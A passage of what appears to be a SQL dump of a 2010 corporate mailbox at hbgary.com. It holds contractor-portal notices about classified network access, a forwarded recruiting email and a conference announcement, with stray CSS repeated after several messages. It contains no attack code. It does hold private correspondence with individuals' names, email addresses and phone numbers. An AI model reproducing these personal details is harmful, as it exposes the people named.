that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',7630,'aaron_hbgary_com/7630.html'),(10230,'2010-08-13','arc@westfields.net','/aaron@hbgary.com/new/1297007967.M342541P14101Q5085.eml','federal@hbgary.com','COMM Sole Source Business Opportunity Posting','\r\nThe NRO/COMM Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: CPFF. The Effort Type is R&D.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',16556,'aaron_hbgary_com/16556.html'),(10231,'2010-08-13','arc@westfields.net','/aaron@hbgary.com/new/1297007967.M568229P14101Q5086.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Thursday, 08/12/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nUnclassified ARC Efforts\r\n\r\nIARPA/N/A-Rose (Announcement & Document Posting)\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO/COMM-Expedition (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',16675,'aaron_hbgary_com/16675.html'),(10232,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007969.M374795P14101Q5087.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Position descriptions','Sent from my iPhoneBegin forwarded message:From: &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nDate: August 12, 2010 9:25:42 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: Position descriptions\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nI am trying to open up some reqs to start recruiting for ROMAS.  I have attached my first stab at the position descriptions.  Since you spent time out there can you take a look to see if the descriptions are appropriate for that market?  It may be heavy handed (too CTC like) but I want to put together a team of exceptional people.  I&#39;d hate to put it out and not be sensitive to the market.\r\n\r\n\r\nLet me know what you think.\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1723,'aaron_hbgary_com/1723.html'),(10233,'2010-08-13','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007971.M383066P14101Q5088.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10686,'aaron_hbgary_com/10686.html'),(10234,'2010-08-13','\"Traci Wei\" <twei@capsllc.net>','/aaron@hbgary.com/new/1297007971.M605134P14101Q5089.eml','first-2010announce@first.org','[first-2010announce] FIRST 2010 Presentations Now Available in the Member Security Library','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear\r\nColleague,\r\n\r\n&nbsp;\r\n\r\nJust\r\na reminder that presentations from the 22nd Annual FIRST Conference,\r\nMiami, Florida have now been moved to the FIRST Member Security Library.&nbsp;\r\nThe public presentation page has been disabled.&nbsp; If you were not able to\r\ndownload a copy of the presentations and meet the following criteria:\r\n\r\n&nbsp;\r\n\r\n-\r\nAttendee of the 2010 Conference\r\n\r\n-\r\nNot a Member of FIRST\r\n\r\n&nbsp;\r\n\r\nPlease\r\ncontact me at your convenience for a copy of the presentations.\r\n\r\n&nbsp;\r\n\r\nA\r\ncouple of updates for you: \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\nNew\r\nPodcast Available\r\n\r\nFIRST\r\n2010 Presenter, Timothy Casey, Senior Information Security Analyst at\r\nIntel.&nbsp; Visit http://conference.first.org/podcasts.aspx.\r\n\r\n&nbsp;\r\n\r\nFacebook\r\nFanpage\r\n\r\nHead\r\nover to http://www.facebook.com/pages/FIRSTOrg-Annual-Conference/133713683330386?ref=ts\r\nand &#8220;Like&#8221; it!&nbsp; We&#8217;d like for attendees to use the\r\nfanpage as a place to meet-up, talk about upcoming sessions, share conference\r\nideas, and for the locals to post some fun things to do in Vienna.&nbsp; Also\r\nlook out for posts from the FIRST Conference Liaison, 